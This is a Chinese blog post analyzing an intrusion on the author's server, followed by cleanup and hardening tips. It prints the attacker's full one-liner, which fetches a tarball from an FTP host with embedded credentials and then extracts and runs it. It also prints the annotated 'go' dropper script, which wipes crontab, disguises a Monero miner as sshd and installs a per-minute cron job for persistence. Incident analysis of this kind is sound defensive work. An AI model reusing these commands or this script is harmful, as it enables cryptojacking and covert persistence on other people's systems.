机器被入侵了,写点东西,分析一下入侵脚本,顺便也学习一下。
bash -c curl -O ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz;tar xvf sshd.tgz;rm -rf sshd.tgz;cd .ssd;chmod +x *;./go -r
下载恶意软件
恶意软件的是使用 ftp下载的, 地址是:ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz,这个153.122.137.67 IP是位于日本东京,ssd.taz是一个tar包,用tar解压之后,出现一个sh文件,两个可执行文件。
-rwxr-xr-x 1 1001 1001 907 Nov 20 20:58 go # shell-rwxrwxr-x 1 1001 1001 1.3M Nov 20 21:06 i686 # 可执行-rwxrwxr-x 1 1001 1001 1.1M Nov 20 21:06 x86_64 # 可执行
分析可执行文件 go
go是一个shell程序,下文是分析
#!/bin/bash# pool.supportxmr.com门罗币的矿池# 所以大家应该清楚了,入侵的机器应该用来挖矿的# 这一步是测试本机与矿池dns是否通if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; thendns="" # dns通elsedns="-d" # dns不通fi# 删除用户计划任务,并将报错信息清除crontab -r 2>/dev/null# 这一步不太懂rm -rf /tmp/.lock 2>/dev/null# 设置当前进程的名字,为了掩人耳目,起个sshd, 鱼目混珠EXEC="sshd"# 获取当前目录DIR=`pwd`# 获取参数个数# 这个程序传了一个 -r 参数,所以$#的值是1if [ "$#" == "0" ]; thenARGS=""else# 遍历每一个参数for var in "$@"doif [ "$var" != "-f" ]; thenARGS="$ARGS $var" # $var不是-f, 所以ARGS被这是为-rfiif [ ! -z "$FAKEPROC" ]; thenFAKEPROC=$((FAKEPROC+1)) # 这里不会执行,因为$FAKEPROC是空字符串fiif [ "$var" == "-h" ]; thenFAKEPROC="1" # 这里也不会执行fiif [[ "$FAKEPROC" == "2" ]]; thenEXEC="$var" # 这里也不会执行fiif [ ! -z "$dns" ]; thenARGS="$ARGS $dns" # 如果本机与矿池dns通,则这里不会执行fidonefi# 创建目录mkdir -- ".$EXEC" #创建 .sshd目录cp -f -- `uname -m` ".$EXEC"/"$EXEC" # uname -m获取系统架构,然后判断要把i686还是x86_64拷贝到.sshd目录, 并重命名为sshd./".$EXEC"/"$EXEC" $ARGS -f -c # 执行改名后的文件rm -rf ".$EXEC"# 生成后续执行的脚本echo "#!/bin/bashcd -- $DIRmkdir -- .$EXECcp -f -- `uname -m` .$EXEC/$EXEC./.$EXEC/$EXEC $ARGS -crm -rf .$EXEC" > "$EXEC"chmod +x -- "$EXEC"# 执行脚本./"$EXEC"# 生成计划任务执行脚本(echo "* * * * * `pwd`/$EXEC") | sort - | uniq - | crontab -# 删除go脚本rm -rf go
上文的脚本中,有许多命令后跟着 -- 和 - 这两个参数都是bash脚本的内置参数,用来标记命令的内置参数已经结束。
由于x86_64和i686是可执行文件,就不分析了。
恶意文件清除
- 清除crontab定时任务
- 清除可执行文件。可以 ll /proc/pid/exe , 看下恶意进程的可执行文件位置
- kill 恶意程序的进程
- 修改root密码
如何防护
- 使用强密码,至少32位
- 使用ssh key登录
- 有些脚本会把名字伪装成系统服务,所以不要被进程的名字迷惑,而应该看看这个进程使用的资源是否合理。一个sshd的进程,正常来说占用cpu和内存不会超过1%。如果你发现一个占用CPU%的sshd进程,你就要小心这东西是不是滥竽充数了。
